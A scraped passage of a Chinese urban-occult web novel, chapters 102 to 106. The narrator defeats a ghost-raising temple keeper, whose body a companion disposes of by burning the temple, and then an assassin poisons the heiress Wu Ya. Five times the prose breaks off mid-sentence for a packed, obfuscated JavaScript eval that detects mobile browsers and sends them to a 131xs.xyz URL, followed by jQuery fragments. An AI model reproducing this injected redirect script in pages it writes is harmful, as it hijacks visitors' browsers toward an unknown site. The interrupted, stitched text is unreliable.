庙祝哈哈大笑,说这就跟打牌一样,谁会嫌赢的钱多? 而且吴娅母亲的生辰八字不用于普通人,用天阳女炼制恶鬼,成煞的几率相当高! 这些鬼仆虽然厉害,可比起真正的鬼煞来说,却是小巫见大巫,根本不值一提。 “本来我都快成功了,可是你们……居然怀了我的好事,简直不可原谅!” 庙祝的五官变得格外扭曲,忽然一声大吼。 三道鬼火散发出惨绿的光线,变得鬼泣森森更加阴冷了。 两道鬼火限制了T恤男的行动,最后一道鬼火直接朝我飘来。 冷风扑面,夹杂着庙祝恨入骨髓的呐喊,“我要杀了你们,把你们的人皮也剥下来炼鬼。” 次奥! 当第三道鬼火奔我来的时候,我下意识的举动就是掉头逃跑。 可爹妈只给了我两条腿,根本跑不赢那团鬼火。 鬼火已经扑向我的头顶,在空中显化成型,变成一颗狰狞的腐烂人头。 我大脑出现了短暂的空白,完全是出于本能,把左手举起来,对着那团鬼火抓过去。 “臭小子,血肉之躯也想硬扛鬼仆,你还是去死吧!” 庙祝狰狞地大喊,似乎预见到我被恶鬼咬死的结局。 可他的笑声只持续了一秒,很快出人意料的事情就发生了。 第102章 废柴 我的左手掌心深处,那个银币大小的黑点忽然旋转起来。 一股莫名其妙的吸力爆发,限制了鬼火的行动。 鬼火中的影子在疯狂挣扎,发出“啊啊”的惨叫。 可所有努力都是徒劳,憎恶印记持续发威,把它的阴气全部吸收进去。 这些阴寒的气流沿着手肘经络钻进我的身体,沉浸在丹田下面,阴阳鱼旋也变得凝实了一分。 砰! 鬼火则是瞬间炸开,彻底失去了威胁。 “你……臭小子,你究竟做了什么?”庙祝表情一僵,整个人都陷入了石化。 我则甩了甩发麻的胳膊,露出一抹冷笑,“懂得控制鬼仆有什么了不起,看小爷怎么破你的邪术。” 嘴上这么多,但我心里还是挺忐忑的。 憎恶印记是一把双刃剑,虽然可以帮助我吸收鬼力,但也会给我带来大量负面影响。 尤其是这些被吸收的鬼力,全都储存在我丹田下面,比我自己练出来的真气还要浓郁。 当阴气进入身体之后,我同样会感到身体发冷,尤其是左手上的经络,隐隐出现酸胀的感觉。 “小子,我跟你拼了!” 庙祝不清楚我的底细,彻底被刺激到了,直接发狂扑向我。 别看他受了伤,动作却不是一般的快,眨眼就到我面前了。 拳头呼呼带风,砸向我的太阳穴。 这一拳是实打实的攻击,憎恶印记没办法替我扛下来,我只能狼狈地躲开。 不料他抬起右腿,在我膝盖上踢了一脚。 我重心失衡,疼得半跪下去,眼泪珠子在眼窝打转。 耳边马上响起了落花洞女的嘲笑,“你简直不配当林家的子孙。” 妈的! 我被她的话刺激到了,忍痛爬起来,用脑门狠狠顶在庙祝腰上。 本以为这次能起到出其不意的效果,没想到庙祝下盘很稳,身子晃了晃,居然纹丝不动。 反倒是我自己被撞出了一头包。 庙祝狞笑不止,“垃圾,我这就送你下地狱!” 他抽出一把刀,插向我脖子。 雪亮的刀锋距离我不到五公分,我寒毛全都竖起来,毛孔已经感受到了刀尖散发的阴寒。 危急关头我往地上一扑,一个懒驴打滚,勉强避开刀锋。 但肩膀还是挨了一下,虽然刀口不深,可火辣辣的刺痛感还让我感到极端愤怒。 不是我能力不行,只是出道时间太短,没能打好基础就遇上这么厉害的人。 假如给我同样的修法时间,灭他就跟玩一样。 落花洞女已经看不下去了,语气很头疼,“真丢脸啊你,这个人练过硬气功,必须找准罩门才能伤到他。” 我马上问道,“你知道罩门在哪里?” 她指点道,“脐下三寸,那里是他的气海穴,你必须找个机会接近他!” 明白对方的罩门之后,我想都没想,马上大吼一声扑过去。 “找死!”庙祝一脸轻蔑,抬腿就是一脚。 我被踢中胸口,疼得差点吐血,但也趁机勾住了对方的小腿,把全身力量都压上去,侧身一滚。 这下有点超过他意外,庙祝身体晃了下,被我拖向地面。 “老子叫你装啵伊!”我发狠打出一拳,不偏不倚,恰好打在他气海穴上。 顿时一股力量反弹过来,差点折断了我的指骨。 同一时间,庙祝也发出死了亲爹般的惨叫,“啊……你怎么知道我罩门在哪儿,混蛋,啊!” 他疼得满地打滚,像极了一条上岸的黄花鱼。 这时候T恤男也搞定了那两个鬼仆,找准机会冲上来,把短刀猛地往前一动,扎进他心口。 噗嗤! 喷溅的鲜血洒落在地上,庙祝四肢抽搐,发出不甘的闷吼,“想不到,我会输给两个年轻人……” 这是他最后的遗言了,随着T恤男抽刀的动作。 庙祝死不瞑目,趴在血泊里不再动弹。 又死人了。 虽然这不是我第一次接触尸体,可看着渐渐失温的尸体,心里还是说不出的发堵。 T恤男擦掉刀上的血迹,深深看我一眼,“你想在这行站住脚,就必须心狠。” 我沉默了下,揉着胸口爬起来,问T恤男打算怎么处理尸体。 现在毕竟是法治社会,万一尸体被发现,肯定会引来不必要的麻烦。 “这件事交给我来处理就好,不用担心,处理尸体我是专业的。”他却一点不当回事,勾住尸体的小腿,默默朝佛堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743995|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面走去。 我觉得恶心,没跟上去看,找了块石头坐下来休息。 刚才被庙祝狠踹了一脚,搞不好肋骨都折了,我胸口发闷,疼得不停抽冷气。 落花洞女好像故意打击我似的,“啧啧……堂堂的林家后人,居然沦落到这个地步,要是被你祖先看见了,搞不好会气得一脚踹飞棺材板。” 我气得都不行了,“关你什么事?” 她冷哼道,“当然不关我事,我只是觉得你太废,替你祖宗十八代感到惋惜罢了。” 我翻白眼说,“得,我是废柴,全世界最没用的男人就是我了,您老人家哪怕网购根黄瓜都比我强,有本事别缠着我啊!” “你当姑奶奶想跟着你这样的废柴?” 落花洞女也气得不行,“要不是被你大伯强行结下了鬼契……哼,你想摆脱我也不是不行,帮我找到极乐棺,姑奶奶马上走,我要是回头看你一眼,就算我流氓!” 极乐棺? 再次听到这个名字,我马上愣了一下。 记得大伯临走时叮嘱过我三件事,其中一件就是关于极乐棺的。 他要我设法在三年内找到极乐棺,替落花洞女合魂,就能彻底摆脱和她“共生”的状态。 可大伯没告诉我该去哪里找,可能连大伯自己都不知道。 就连那本破书上,也没有记载任何关于极乐棺的内容。 我不是没尝试过,私底下曾经向明叔打听过关于极乐棺的事,可老小子一问三不知,表示自己入行这么多年,从没听说过关于极乐棺的只言片语,还问我是不是搞错了名字。 加上自己能力不足,现阶段只能放弃对于极乐棺的寻找。 见我没吭声,落花洞女继续嘲讽我,“算了吧,想靠你这棵废柴帮我找极乐棺,简直就是痴人说梦!” 说完她就切断了和我的精神联系,再也不搭理我。 我只能靠在树荫下苦笑。 几分钟后,佛堂燃起了大火。 T恤男默默走来说,“走吧,这个害人的地方已经彻底被我毁掉了。” 我吃力地站起来,陪T恤男一起下山。 回市区的时候刚好天亮,我在T恤男的搀扶下去医院做检查。 果然,庙祝那一脚害我断了两根肋骨。 第103章 红颜祸水 都说伤筋动骨一百天,接下来那段时间我只能在医院度过。 明叔替我交了住院费,又贱兮兮地跑来说,“你欠我的钱永远还不完,以后安安心心留在店里打工吧。” 我很想飙脏话,可惜胸口太疼了,只好说,“明叔,你祖上应该姓周吧?” 明叔一愣,“我是苗人,名字里根本就不带汉姓。” 我正儿八经说,“你怎么能不姓周呢,好好回去查一查族谱,看看祖上是不是有个叫周八皮的,你特么保准是他的后代!” 明叔脸皮厚,根本没当回事,坏笑着走了。 隔天吴娅也跑来病房看我,经过一整天的恢复,她精神状态已经好了很多,脸上也恢复了俏皮的笑容, “林峰,这次多亏你了,不仅帮我打成了多年心愿,还救了我全家,我都不知道该怎么感谢你才好。” 我咧嘴一笑说,“顺手的事。对了,前天晚上你和老妈都聊了些什么?” 吴娅表情黯淡了下,摇头说,“其实也没什么啦,风水阵被破坏之后,老妈就要去投胎了,她临走前最放心不下的就是我,希望我能早点找个踏实的男朋友,结婚过日子。” 我去……没想到聊的会是这个。 在病房待久了,我很不习惯消毒水的味道,决定出门遛个弯。 吴娅一直跟着我,眼睛里好像闪着星星,崇拜感都快溢出来。 我很无奈,说你家的问题不是都解决了吗,还跟着我干嘛? 吴娅说,“我就是崇拜你不行吗,你只比我大两岁,却懂这么多阴阳知识,我很好奇,你都是怎么学会这些的啊。” 我无语得一匹,这算小屌丝逆袭吗? 可惜现实不是拍电影,我很清楚自己跟吴娅的阶级差距,完全是两个世界的人。 何况自己还一屁股屎没擦干净,哪有心情陪一个富家女干劈情操? 正当我思考应该怎么打发她离开的时候,正赶上王刚跑来医院给我送饭。 这货看着吴娅直流哈喇子,拿胳膊肘碰了我一下,满脸羡慕,“你运气比我好,这女孩跟你挺搭的。” “搭个鬼啊,你明知道我是七煞命,这辈子注定没有姻缘。”我翻了个白眼摇头。 哥们好歹是个血气方刚的男人,还处在发情的季节,难得有个富家女主动向我示好,我要说自己一点反应都没有,肯定会挨雷劈。 但我一直都不敢忘记大伯的批言。 七煞命,注定会妨人妨己。 越是跟我走得近的人,就越容易倒血霉。 父母是这样,初恋女友是这样,王刚也是这样。 有了这些前车之鉴,我压根就不敢对吴娅流露任何好感。 可世间事就是这么操蛋,我越是用冷漠的态度对吴娅,这丫头就纠缠得越厉害。 那天赶上落花洞女收租,我心情本来就不好,吴娅还跑来病房找我聊天,叽叽喳喳说个不停,给我整得老心烦了,就问了一句, “我到底哪里比较吸引你,说出来,哥们改还不成吗?” 吴娅冲我扮了个鬼脸,“姐就喜欢你这种这种既不贪财、也不好色的,你越拽我就越对你感兴趣。” 我也是服了。 吴娅不仅长得漂亮,家里还这么有钱,追求她的人肯定不少。 可她对这些追求者没兴趣,总说他们要么是看中自己的长相,要么是看中了自己的家庭背景。 只有我,一直对她不冷不热。 其实我很想问一句,这姑娘是不是有受虐倾向? 甭管怎么说,吴娅是彻底缠上我了。 住院半个月后,医生夸我自愈能力不错,已经可以办理出院手续,回家好好调理。 刚出院第二天,吴娅就再次找来,说要请我吃顿饭。 白吃白喝我当然不会拒绝。 这段时间我一直待在医院,吃的都是营养餐,正愁嘴里淡出鸟,难得富家女掏钱请我吃大餐。 为了避免误会,我刻意带上了王刚,到点就埋头干饭,一句话不说。 吴娅快被我气笑了,夸我可真实诚,到了地方就知道吃。 我说来这种高档餐饮不干饭做什么,哥们就是个俗人,长这么大还没吃过外国料理,平时我也舍不得花钱吃大餐。 屌丝形象一览无余,我想着这次总该可以了吧。 没想到等吃过饭,送吴娅回家的途中,却发生了一件让我哭笑不得事。 当时应该是晚上十点,王刚填饱肚子就回去了,我则负责把吴娅安全送到家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743996|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 本来可以开车,吴娅却偏要散步,路上有一搭没一搭地陪我聊着。 我随口应付,心里却在琢磨明天吃点啥。 好不容易到了她家门口,我正准备说拜拜,却意外看见一个手拿玫瑰花、杵在马路对面的家伙,正冷冷地看着我俩。 孙杨。 我对这位富二代还算有印象,上个月处理那件工地事件,他也参与了,因为出言不逊被明叔摆了一道。 没想到这么快又见了面。 看着和我并排在一起散步的吴娅,孙杨的表情有点发冷,上来就用质问的语气说, “我一直在跟你打电话,怎么不接?” 吴娅有点心虚,低头说,“我手机调成了静音,没听到。” 孙杨又说,“昨天我不是已经发短信提醒你了吗,今晚要请你去西餐厅吃饭,你怎么不理我,还跟这个臭小子在一起散步?” 他好像很生气,居然把怒气都撒在我头上,一口一个臭小子,语气不要太嚣张。 我本来双手插兜在打酱油,可当听到这么不客气的称呼后,忍不住把眉头皱了下, “你说话注意点,谁是臭小子?” 他还来劲了,用力推了我一把,说怎么的,不服气啊,像你这种穷屌丝我见多了,不知道撒泡尿照照自己,你配得上吴娅吗? 怎么说话的。 奇葩年年有,今年特别多。 我不过就是陪吴娅吃了顿饭,好心送她回家,碍你什么事了? 吴娅马上说,“孙杨,你别太过分了,我跟谁散步是我的自由,要你管!” 要你管? 这句话深深刺激到孙杨的神经,他跟个抢玩具的小孩一样大吼大叫,“怎么不要我管?我是你男朋友!” 吴娅也生气了,“我什么时候答应过跟你交往?” “难道我对你不好?” 孙杨抓着吴娅的胳膊,非要带她走。我实在看不下去,咳嗽一声, “女孩不是这么追的,你注意点影响……” “有你什么事,滚!”孙杨粗暴地转身,对着我鼻梁就是一拳。 我退后一步,挡住他的拳头,就在他骂骂咧咧要补拳的时候,我已经反手一耳光,抽得他站不稳。 第104章 诅咒命格 这几个月我都在练气,不敢说自己是个高手,对付一般人没问题。 本来我打算好好好跟他说话,可这富二代太嚣张了。 泥人也有火气,爷可不是好惹的。 “你特么的敢打我?”孙杨被一巴掌抽得踉跄后退,难以置信地咆哮起来。 我平静地说,“这一巴掌是为了给你提个醒,以后对人对事别这么拽。” “你麻痹……”他嚣张惯了,完全受不了这个,马上不顾形象地冲过来按住我。 我压根不带怕的,先把身体侧开,一脚扣勾住他小腿。 孙杨摔了个狗吃屎,被我按住脑袋一顿猛捶。 就算身体还没有康复,就算我肋骨断了,对付一个养尊处优的富二代也是手拿把掐。 他挣扎了好几次,发现动不了,各种难听的脏话直接飚出来,“你特么的居然跟我动手,你知不知道我是谁,知不知道我老爸是什么人?” 我坏笑说,“这我还真不清楚,你要是想知道自己老爸是谁,干嘛不打电话问你妈?” “你……” 他气得眼珠通红,脸皮涨成了猪肝色。 吴娅则赶紧跑来劝架,拉开我说,“孙杨,我已经跟你说过好几次了,我们只能做普通朋友,希望你以后别再纠缠我了,不喜欢就是不喜欢,你快走吧。” 孙杨估计肺都要气炸了,眼珠鼓得像蛤蟆。 但他不敢再闹下去,知道自己打不过我,恨恨地爬起来,指着我说,“等着,刚跟我抢女人,不不会让你好过!” 我抓了抓耳朵,感觉很无辜。 其实自己不是个喜欢争风吃醋的人,更何况我对吴娅根本就没有那种意思。 是这小子太作,非给自己加戏。 于是我冷冷地回应了一句,“好啊,我等着你!” 发现讨不到便宜,孙杨扭头就走了,钻进路边那辆跑车,一脚油门扬长而去。 不知道是不是我的错觉,这小子好像一直透过后视镜观察我。 镜子里折射出一道光,怨毒到让人心颤,浑身都不舒服。 吴娅小心翼翼地说,“林峰,你没事吧?” “我能有什么事,教训这种人跟玩似的,你赶紧回吧,我也该回家休息了。” 我摇摇头,转身要走。吴娅却跟上来,陪着小心向我道歉,“对不起,我没想过会发生这种事。” “没事,不怪你。”我还是摇头,没有迁怒吴娅的意思。 经过这些天相处,我发现吴娅性格还算不错,这次我无辜躺枪应该不是她的本意。 吴娅却一脸担心,“孙杨一直都是这样,他出生好,过得太顺利了,无论什么时候都喜欢以自我为中心。” 这种人受不了挫折,刚才吃了亏,搞不好会报复。 我回头对她笑笑,说你不用为我担心。 哥们好歹是经历过大风大浪的人,哪会在意这样的小插曲? 打发吴娅回家,我也拦了辆出租车往回走。 这一晚的遭遇让我很不爽,回去后直接趟床上就睡了。 隔天我已经忘记了这茬,照旧去古香斋收店面。 明叔一直在外面跑生意,大部分时间铺子里就我和王刚两个人。 王刚需要研究黎巫法门上的内容,平时总把自己关书房里不出来,老蝙蝠也一直待在槐木牌里不肯现身,反倒搞得我很无聊。 就这样又过了两天,那天明叔从外面回来,忽然神经兮兮地跑来找我, “林峰,最近店里没出什么事吧?” 我很意外,说店里风平浪静能出什么事,“你好端端干嘛这么问?” 明叔说,“是这样的,刚从外面回来的时候,我看见街对面停了辆车。” 有个人鬼鬼祟祟坐在车上,拿着军用望远镜观察店里的情况。 等明叔走过去的时候,那家伙直接开车跑了。 明叔感觉有点不对,好像店铺被人盯上了。 我听完有点紧张,“会不会是之前处理那几笔业务,不小心留下尾巴让人发现了?” 虽然我出道不久,可手上却实打实背过人命,很担心会被警察盯上。 明叔却嘀咕了一句,说应该不会。 他说这些只是为了给我提个醒,让我平时别太招摇,至于警察,正常来说是不可能找我们麻烦。 毕竟之前弄死的都是修炼阴法的邪修,这种人死了也就死了,不会有人报警。 我点点头,心里依旧有点不安。 傍晚我离开古香斋,正准备陪王刚找地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743997|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭。 忽然路边驶过一辆汽车,停在我们身边。 车窗被摇下,露出吴娅那张精致的瓜子脸,笑笑说,“有空没,今晚步行街有个花灯会,你陪我去逛逛呗。” “怎么又要逛街?” 我不太乐意,感觉这段时间和吴娅走得太近,不是啥好事。 王刚却轻轻推了我一把,挤出一脸油腻的傻笑,“人家主动来找你,别这么死板,逛个街有什么好怕的?” 好吧。 我感觉有必要跟吴娅把话说清楚,勉为其难答应了。 去了步行街,人可真不少。 街上到处都是花灯,随处可见看热闹的人,我不喜欢这种嘈杂的环境,陪吴娅找了个比较清净的地方待着。 吃饭的时候,我一直在思考待会儿该怎么跟吴娅说,不想把话说的太伤人,搞得以后朋友没得做。 吴娅看出了我的心思,带我走向一个假山池,“你怎么一副心事重重的样子,怎么,跟我出来吃饭不开心吗?” 我清了清嗓子说,“没有,只是觉得这种场面不适合我。” 面对吴娅投来的错愕眼神,我定了定神,把一些关于自己的事情告诉她。 我是个受命运诅咒的人,命途多舛,注定会经历三灾九劫,一辈子孤独终老。 想到鳏居了一辈子的大伯,我担心自己以后也会变成他那样。 虽然一直在尝试寻找改变命格的出路,可现在却一无所获。 铺垫了半天,我终于还是讲出了那句话,“凡是跟我走得近的人,可能都不会有好下场,这么说你能明白吧?” 吴娅很错愕,她的表情明显黯淡了一下。 但很快,她脸上就恢复了俏皮的笑容,说你有必要把话说得这么严重吗,我怎么不信,好像在听鬼故事。 我蔫头巴脑,说自己也很苦恼,可这毕竟是事实。 “切,才不信呢,我们现在不是离得很近吗,哪有危险?” 吴娅为了打破我的“谎言”,主动爬到假山石上,说你看,我爬得这么高,什么都没发生。 我哭笑不得,刚想扶她下来。 偏偏就在这个时候,心里忽然产生了一种强烈的悸动感,背上的寒毛瞬间竖起来。 有杀气! 第105章 两种蛇毒 我不知道该怎么形容那种感觉,后背心凉凉的,像是被毒蛇咬了一口。 自从掌握了气感之后,我对周围的环境变得十分敏锐。 任何不利于我的风吹草动,都会引起身体本能的抗拒。 我下意识地扭头,然后看见一个身材矮下,戴着鸭舌帽的家伙,正站在人群里面邪笑。 他把帽檐压得很低,只露出小半张脸,上扬的嘴角却弥漫着浓烈的恶毒。 我根本来不及反应,就看到这个侏儒男指尖动了一下。 一道亮光闪过,直接朝我脸上射来。 是飞刀。 这种飞刀很薄,但却小巧灵动。 眨眼就在夜幕中拉伸出一道亮线,去势快得吓人。 千钧一发,我凭借身体的本能反应躲开,刀尖擦着我的鬓角划过。 刺骨的冰凉感让我太阳穴猛跳起来。 很不巧,吴娅就站在我旁边。 我刚躲过飞刀,身后就传来她的一声尖叫。 回头,飞刀已经出现在吴娅胳膊上,不偏不倚刺中了锁骨。 她从假山石上掉下来,捂着被鲜血浸湿的肩膀,身体晃了晃,十分惊愕地倒下去。 “吴娅!” 我吓得魂都飞了,刚想告诉她靠近我的人不会有好结果,这么快就发生了血淋淋的现实。 好在飞刀是奔我来的,吴娅属于被误伤。 只是锁骨受伤,没有被刺中要害。 但我的怒火被彻底点燃了,回头瞪着那个矮个子杀手,怒吼道,“你是谁?” 说话的同时我已经朝他飞扑过去。 挨个杀手刚要射出第二把飞刀,就被我一拳砸向鼻梁,逼他不得不用胳膊挡下来。 我和他对了一拳,这家伙虽然长得矮,可身上很有劲。 挨了我一拳,他只是稍微晃了晃,马上就往人堆里扎。 步行街到处是人,谁都没想到会有杀手当街行凶。 那家伙动作很快,借助身形小巧的优势,一下钻进人堆,眨眼就不见了。 我愤怒地推开人群,想要追,身后却传来吴娅无助的呼喊,“林峰,别追了,危险。” 我只能不甘心地停下来,跑回去查看吴娅的伤势。 飞刀还扎在锁骨下面,距离心脏很近。 虽然伤口不算深,可留下来的鲜血却是黑色的。 “刀上有毒!” 我感到头皮发麻,什么仇什么怨,这是非要置我于死地不可。 吴娅还在笑,安慰我没事的,并没有扎中要害。 可她脸色奇差,身体微晃,直接靠在我肩上,很快就闭上眼,陷入昏迷。 我喊了她几声,没有回应,颤着手拨打了120。 好在这里是市中心,距离医院不远,只过了半小时,吴娅就被紧急推进了手术室。 我看着手术室亮起的红灯,表情麻木,心却在痉挛,不停发抖和抽搐。 明叔和王刚接到消息,很快就赶到了医院。 听完我对整个事情的描述之后,明叔气得跺脚说,“妈的,我就说有问题,看来白天那家伙是在我店里踩点!” 王刚紧张兮兮地说,“那吴娅该不会有事吧?” 我心情很烦躁,蹲在走廊外面抽起了闷烟。 手术很顺利,那把刀插得不深,医生很快就把它拔出来,替吴娅止住了血。 可吴娅迟迟没有醒,嘴唇乌青,明显是中了毒的症状。 更悲催的是医生根本没见过这种毒,只能给她注射了几针抗生素,送进ICU看效果。 我找到医生说,“大夫,我朋友到底什么时候能好起来?” 医生面露难色,“这个嘛,我也不太清楚,那把刀上被涂了毒,发作得蛮快,我们只能用呼吸机维持她的生命特征……” “靠你个庸医,治不了病你当什么医生,赶紧把病人交给我!” 明叔马上就急眼了,一脚踹开ICU大门,跑进去观察起了吴娅的情况。 吴娅是跟我一起出的事,她要是出了事,我也难辞其咎,明叔当然不能坐视不理。 可这种行为却遭到了医生的严厉呵斥,“你们干什么,ICU病房不能让外人进去,保安,保安!” 在医生的叫嚷下,几个保安抓着警棍气势汹汹冲进走廊。 王刚朝我看了一眼,虎着脸挡在前面说,“都特么站住,别动,谁过来我弄死谁!” 他身高将近一米九,长得跟个熊似的,挡在几个医院保安前面,很有威慑力。 保安们吓得不敢动,那个医生则哆哆嗦嗦掏手机要报警。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743998|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我冲上去,用力按着医生的手,“病人是我朋友,我会为自己的的行为负责,你别报警,事情闹大了对谁都不好。” 就在我和医生僵持的时候,吴总也接到消息,带着几个保镖冲进来了。 他上来就对我吼道,“怎么回事,我女儿怎么住的院?” 我有点愧对吴总,低头说,“抱歉,吴娅是被我连累的,那个杀手的目标本来是我。” “你怎么能让我女儿出事,林峰,你不是大法师吗,既然确认不了我女儿的安全,为什么要带她一起出门!” 吴总很激动,抓着我的胳膊使劲摇。 王刚看不下去,站出来说,“你喊什么?林峰不是故意的,发生这种事谁都不想……” “胖子,别说了!” 我制止王刚说下去,一脸羞愧地对吴总说,“你女儿的事,我会负责到底。” 现在明叔已经进去了,以他的巫医手段,应该可以控制住吴娅的病情。 我希望吴总能够为他制造一个安静点的环境,等明叔出来之后再说。 尽管吴总很愤怒,但还是同意了。 上次他前妻的事多亏了我们帮忙,对我的话还算信任。 我们守在走廊外面,足足等了一夜。 直到天快亮的时候,明叔终于擦汗走出来,撮着牙花说,“刀上涂了两种毒蛇的毒液,一种能破坏她的神经系统,另一种属于溶血毒素,这总毒素是专门用过阴法提炼出来的,医院根本找不到解药。” 吴总被吓坏了,惨着脸说,“那我女儿……” “放心,病情控制住了,我刚替她放了毒血,用银针锁住经络和血管,等回去调配完解药,休息一段时间就没事。” 明叔的话让我们松了口气,可他下一句话又要让我恨得只要后槽牙, “调配这种解药很复杂,起码要三十多种草药,每一样都不便宜,大家都这么熟了,打八折,这次我只收四万软妹币。” 次奥。 我和王刚都气得牙疼,吴总则苦笑着说,“行行……只好能治好我女儿,四万就四万!” 接着明叔找来一个玻璃器皿,把从吴娅身上挤出的毒血搜集起来,临走时对吴总交代了几句, “病人需要绝对安静,谁也不能打扰她。” 第106章 追踪气味 别看明叔平时吊儿郎当,一旦认真起来,说话还是挺有气势的。 吴总连连点头,马上让保镖守住病房,谁都不能进去。 原本我想进去看看吴娅,同样被吴总拦下来,“林峰,我女儿已经被你连累成这样了,你还进去做什么?” 我满嘴苦涩,只好放弃了进去的打算。 王刚想替我打抱不平,也被我拦下了。 回去的路上,他嘀嘀咕咕地抱怨道,“这姓吴的也太过分了,上个月你为了帮他解决前妻的事,直接断了两根肋骨,现在却翻脸不认人!” 我摇头说,“这倒是不能怪人家,吴娅的确是被我连累成这样的,吴总就这一个女儿,人之常情。” 回了古香斋,明叔马上着手调配解药。 调配解药需要用到很多药材,他开了张方子,让我和王刚分头去买。 我抓紧时间照做,刚把药材带回去,却发现铺子里多了一个人,是T恤男。 上次我和T恤男一起搞定了庙祝,事后他把我送去医院,很快就消失了,不知道去外面干些什么。 见我这幅行色匆匆的样子,T恤男纳闷道,“我才离开半个月,怎么又出事了?” 我苦笑着点头,先把药材交给明叔,随后说起了昨天遭遇暗杀的事情。 T恤男同样感到意外,“怎么会发生这种事?” 我分析道,“会不会是那个庙祝还有同伙,被他同伙查到了?” 他马上摇头,很笃定地说不可能! 尸体是T恤男亲手处理的,虽然我不清楚他处理尸体的方式,但以T恤男的经验,肯定不会留下任何痕迹,让人抓住尾巴。 更何况整个佛堂都被他一把火烧了,就算有什么遗漏的线索,也早就被大火覆盖。 他分析得很有道理,究竟会是谁呢? 我脑子很乱,翻来覆去思考这个问题。 忽然T恤男提醒我,“那把导致吴娅的中毒的飞刀还在不在?” 我马上说还在,应该还在那家医院。 T恤男说,“那就好办了,只要凶器还在,应该就有办法追踪到杀手的去向。” 他的话倒是给我提了个醒,老蝙蝠有很强的追踪能力,鼻子比狗还灵,或许可以找它帮忙。 我用最快的速度跑回家,抓起神龛上的槐木牌,用力敲了几下。 自从上次在工地吸收了那股邪气之后,老蝙蝠因为消化不良已经在槐木牌休息了半个月,是时候叫它出来继续干活了。 被我强行吵醒后,老蝙蝠很不高兴地说,“你催什么催啊,都说了我最近消化不良,需要缓一缓。” 我说缓个屁,来活了,赶紧跟我走! 去医院的路上,我把这断时间发生的事情告诉了老蝙蝠。 它贱兮兮地转动眼珠,“老大你真厉害,这么快就勾上富家女了,如果你跟她在一起的话,能保证我顿顿都有鸡吃不?” 我被它气笑了,“吃吃吃,成天就知道吃鸡,谁说我要跟她在一起了!” 吴娅的遭遇让我产生了巨大的心理阴影,光是陪她逛个街就发生了这种事,哪还能有什么以后? 到了医院之后,我找到吴总,提出要把飞刀拿回来。 吴总对我的态度并不是很友好,问我拿那个东西干什么? 我解释说,“飞刀是杀手留下的,上面残留着杀手的气味,我有办法根据这些气味把杀手找出来。” “你在跟我开玩笑吧?” 吴总显然不信,表示自己已经报警了,那把飞刀已经作为凶器交给了警察,“我女儿事情你还是别管了,我已经联系了警察,他们会为我女儿主持公道的。” 吴总一看就是不信任我,主要是因为我连累他女儿受伤,让他觉得我是个不祥之刃。 我理解他的心情,保证道,“请你放心,等这件事结束之后,我不会再跟吴娅产生任何联系。” 事实上我也从没打算和吴娅有进一步发展。 我坚持要调查这件事,除了帮吴娅出气之外,也是想搞清楚究竟是谁要暗杀我。 吴总犹豫了下,终于被我的诚心打动,带我去了警察局。 这年头没点后台的人不可能把生意做得那么大,吴总和警局局长的关系不一般,在他的带领下,我们很快就和负责查案的警察见了面。 可面对我提出的要求,办案警察却感觉很扯淡,拒绝让我接触凶器, “开什么玩笑,就算是警队的警犬也没有这么灵的嗅觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743999|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,光闻一闻就能找到凶手的藏身地点,照你这么说破案倒简单了。” 我懒得废话,直接在槐木牌上敲了敲。 